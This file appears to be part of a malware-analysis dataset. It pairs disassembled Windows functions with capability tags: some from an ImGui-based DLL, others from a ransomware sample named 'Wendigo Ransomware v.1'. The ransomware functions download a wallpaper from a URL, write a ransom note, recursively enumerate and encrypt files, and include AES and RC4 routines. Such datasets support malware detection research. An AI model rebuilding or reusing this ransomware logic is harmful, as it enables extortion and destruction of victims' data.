joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007d840
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x180112020]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x180211818]
mov edi, ecx
cmp byte [rbx + 0x4d4d], 0
jne 0x18007d8a1
cmp byte [rbx + 0x4d4e], 0
jne 0x18007d8a1
movsx r9d, word [rbx + 0x5eb8]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.180069ca0
test dil, 2
je 0x18007d9cf
jmp 0x18007d92a
movss xmm1, dword [rbx + 0x39bc]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1800fec18]
xor eax, eax
mulss xmm1, dword [0x1800fec00]
addss xmm0, dword [rbx + 0xe40]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0xe44]
mov qword [rbx + 0x4a18], rax
mov dword [rbx + 0x4a04], 1
movss dword [rbx + 0x4a10], xmm0
movss dword [rbx + 0x4a14], xmm1
movss xmm0, dword [rbx + 0x3a18]
mulss xmm0, dword [0x1800feb34]
or dword [rbx + 0x4a00], 0x41
movss dword [rbx + 0x4a60], xmm0
movsx r9d, word [rbx + 0x5eb8]
call fcn.180069ca0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x18007d980
lea r11, [0x1800f6a00]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x18007d963
cmp byte [r8], r9b
jne 0x18007d963
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18007d950
not ecx
call fcn.180071680
test rax, rax
je 0x18007d9cf
cmp byte [rax + 0xbe], 0
je 0x18007d9cf
mov byte [rax + 0xc3], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xc5], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xe4], 1
mov edx, 0x10
inc word [rbx + 0x5eb8]
movsx r9d, word [rbx + 0x5eb8]
call fcn.180069ca0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2030347
call fcn.1800748a0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1800b7800
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180084430
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x180211818]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x180084493
mov qword [rsp], rbx
lea rbx, [0x1800f6a00]
nop dword [rax]
cmp r9b, 0x23
jne 0x180084473
cmp byte [r8], r9b
jne 0x180084473
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x180084460
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5f80]
not eax
mov r8, qword [r10 + 0x5f88]
lea rdx, [rcx + rcx*8]
lea rcx, [r8 + rdx*8]
cmp r8, rcx
je 0x1800844bf
cmp dword [r8 + 8], eax
je 0x1800844c6
add r8, 0x48
cmp r8, rcx
jne 0x1800844b0
xor eax, eax
add rsp, 8
ret
mov rax, r8
add rsp, 8
ret
Function at 0x18009b480
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [0x180211818]
mov edx, 0x210
call fcn.1800787c0
cmp byte [rax], 0
je 0x18009b521
mov rcx, qword [0x180211818]
mov edx, 0x210
call fcn.180068c20
cmp byte [rax + 8], 0
jne 0x18009b521
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x18009b521
cmp qword [0x180211818], 0
jne 0x18009b4e9
xor r8d, r8d
lea rdx, [0x1800f0b3c]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1800cccf8
mov rbx, qword [0x180211818]
cmp byte [rbx + 0x38d1], 0
je 0x18009b50d
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x210
call fcn.180069200
mov dword [rbx + 0x370], 0x210
mov dword [rbx + 0x930], 0xa0
mov rcx, qword [0x180211818]
mov edx, 0x214
call fcn.1800787c0
cmp byte [rax], 0
je 0x18009b5bc
mov rcx, qword [0x180211818]
mov edx, 0x214
call fcn.180068c20
cmp byte [rax + 8], 0
jne 0x18009b5bc
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x18009b5bc
cmp qword [0x180211818], 0
jne 0x18009b584
xor r8d, r8d
lea rdx, [0x1800f0b3c]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1800cccf8
mov rbx, qword [0x180211818]
cmp byte [rbx + 0x38d1], 0
je 0x18009b5a8
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x214
call fcn.180069200
mov dword [rbx + 0x374], 0x214
mov dword [rbx + 0x940], 0xa1
mov rcx, qword [0x180211818]
mov edx, 0x212
call fcn.1800787c0
cmp byte [rax], 0
je 0x18009b657
mov rcx, qword [0x180211818]
mov edx, 0x212
call fcn.180068c20
cmp byte [rax + 8], 0
jne 0x18009b657
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x18009b657
cmp qword [0x180211818], 0
jne 0x18009b61f
xor r8d, r8d
lea rdx, [0x1800f0b3c]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1800cccf8
mov rbx, qword [0x180211818]
cmp byte [rbx + 0x38d1], 0
je 0x18009b643
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x212
call fcn.180069200
mov dword [rbx + 0x25c], 0x212
mov dword [rbx + 0x938], 0x5b
mov rcx, qword [0x180211818]
mov edx, 0x216
call fcn.1800787c0
cmp byte [rax], 0
je 0x18009b6f4
mov rcx, qword [0x180211818]
mov edx, 0x216
call fcn.180068c20
cmp byte [rax + 8], 0
jne 0x18009b6f4
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x18009b6f4
mov rbx, qword [0x180211818]
test rbx, rbx
jne 0x18009b6c3
xor r8d, r8d
lea rdx, [0x1800f0b3c]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1800cccf8
mov rbx, qword [0x180211818]
cmp byte [rbx + 0x38d1], 0
je 0x18009b6e0
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x216
call fcn.180069200
mov dword [rbx + 0x260], 0x216
mov dword [rbx + 0x948], 0x5c
add rsp, 0x20
pop rbx
ret
Function at 0x1800be8c8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1800be77b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800be77b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800be77b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800be77b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800be77b
cmp dword [rcx + 0x84], 0xe
jbe 0x1800be77b
cmp dword [rcx + 0xf8], 0
je 0x1800be77b
mov ecx, ebx
call fcn.1800be82c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800be608
nop
cmp dword [rbp + 0x20], 0
je 0x1800be7c9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800be7d4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800be70c
Function at 0x1800d226c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800d2282
mov al, 1
jmp 0x1800d22e2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800d2293
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800d22e0
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800d74d8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800d22e0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800d22e0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800d22e0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800d22e2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800d4c74
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800d4ca4
xor eax, eax
jmp 0x1800d4d67
mov rbp, rbx
cmp word [rax], si
je 0x1800d4cc9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800d4cb0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800d4cac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800d4b94
movsxd r14, eax
test eax, eax
jne 0x1800d4d07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800d4c9d
mov rcx, r14
call fcn.1800cea98
mov rdi, rax
test rax, rax
jne 0x1800d4d20
xor ecx, ecx
call fcn.1800cea5c
jmp 0x1800d4cfc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800d4b94
test eax, eax
jne 0x1800d4d51
mov rcx, rdi
call fcn.1800cea5c
jmp 0x1800d4d5b
xor ecx, ecx
call fcn.1800cea5c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800d96d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800d96f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800d96f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140006810]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140006820]
mov dword [rax], 1
mov rax, qword [0x140006830]
mov dword [rax], 1
mov rax, qword [0x1400067a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140006800]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400068e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400068c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140006780]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140006860]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140006870]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140009008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400067d0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140006850]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140009028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140009020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140009020], rbp
call dbg.__main
mov rax, qword [0x1400067e0]
mov r8, qword [0x140009018]
mov ecx, dword [0x140009028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140009020]
call sym.main
mov ecx, dword [0x14000900c]
mov dword [0x140009010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140009008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140006870]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140006890]
mov rcx, qword [0x140006880]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140009010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400068b0]
mov rcx, qword [0x1400068a0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x1400014c4
Capabilities:
Change the wallpaper
Download url
Get common file path
Receive data

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xc0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._swallpaper.jpg
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.https:__fastupload.io_6N2dK27WVT46_wKiGA7iPmWP9MIY_E1x3A6lBezyk6_wallpaper.jpg
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp + 0x1cc], eax
lea rax, [rbp - 0x50]
mov r9d, 3
mov r8, rax
mov edx, 0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_SystemParametersInfoA]
call rax
nop
add rsp, 0x250
pop rbp
ret

Function at 0x140001568
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str._sREADME.txt
mov rcx, rax
call dbg.sprintf
lea rax, [rbp - 0x50]
lea rdx, [0x14000607d]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov r9, rax
mov r8d, 0x4b
mov edx, 1
lea rax, str.Your_files_have_been_encrypted_for_free__have_fun____Wendigo_Ransomware_v.1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x250
pop rbp
ret
Function at 0x1400016bc
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x3a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x330], rcx
mov qword [rbp + 0x318], 0xffffffffffffffff
mov rdx, qword [rbp + 0x330]
lea rax, [rbp + 0xc0]
mov r9, rdx
lea r8, str._s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rdx, [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0xffffffffffffffff
jne 0x140001738
mov eax, 1
jmp 0x140001884
mov eax, dword [rbp + 0x1d0]
and eax, 0x10
test eax, eax
je 0x1400017cd
lea rax, [rbp + 0x1d0]
add rax, 0x2c
lea rdx, [0x1400060d6]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x14000181b
lea rax, [rbp + 0x1d0]
add rax, 0x2c
lea rdx, [0x1400060d8]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x14000181b
mov rcx, qword [rbp + 0x330]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x1d0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.list
jmp 0x14000181b
mov rcx, qword [rbp + 0x330]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x1d0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.check
test eax, eax
jne 0x14000181b
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.encryptFile
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001738
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0x12
je 0x14000186c
mov eax, dword [rbp + 0x314]
mov edx, eax
lea rax, str.FindNextFile_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov eax, 0
add rsp, 0x3a0
pop rbp
ret

Function at 0x1400019ef
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
je 0x140001a85
mov rax, qword [rbp + 0x20]
mov r8d, eax
lea rcx, [rbp - 0xc]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001a86
nop
add rsp, 0x50
pop rbp
ret
Function at 0x140001a8c
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x140001ae7
mov eax, 1
jmp 0x140001bcd
lea rdx, [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call rax
test eax, eax
jne 0x140001b19
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001bcd
mov rax, qword [rbp - 0x10]
mov qword [0x140009038], rax
mov rax, qword [0x140009038]
mov rcx, rax
call sym.malloc
mov qword [0x140009030], rax
mov rax, qword [0x140009030]
test rax, rax
jne 0x140001b5d
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001bcd
mov rax, qword [0x140009038]
mov r8d, eax
mov rdx, qword [0x140009030]
lea rcx, [rbp - 0x14]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
jne 0x140001bb8
mov rax, qword [0x140009030]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001bcd
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140001f1f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov eax, ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov byte [rbp + 0x10], al
mov byte [rbp - 1], 0
jmp 0x140001fb8
mov byte [rbp - 2], 0
jmp 0x140001fae
movzx eax, byte [rbp - 1]
movzx edx, byte [rbp - 2]
mov rcx, qword [rbp + 0x18]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp + 0x10]
lea edx, [rax*4]
movzx eax, byte [rbp - 1]
add eax, edx
lea edx, [rax*4]
movzx eax, byte [rbp - 2]
add eax, edx
movsxd rdx, eax
mov rax, qword [rbp + 0x20]
add rax, rdx
movzx edx, byte [rax]
movzx eax, byte [rbp - 1]
movzx ecx, byte [rbp - 2]
xor edx, r8d
mov r8, qword [rbp + 0x18]
movsxd rcx, ecx
cdqe
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001f40
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140001f3a
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140001fca
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x14000203d
mov byte [rbp - 2], 0
jmp 0x140002033
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, str.cw
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001fe2
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140001fdc
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002af5
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x140002b68
mov byte [rbp - 2], 0
jmp 0x140002b5e
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, [0x140006300]
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140002b0d
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140002b07
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002e01
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 1], 0
jmp 0x140002e4a
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx r8d, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx ecx, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add byte [rbp - 1], 1
cmp byte [rbp - 1], 0xf
jbe 0x140002e17
nop
nop
add rsp, 0x10
pop rbp
ret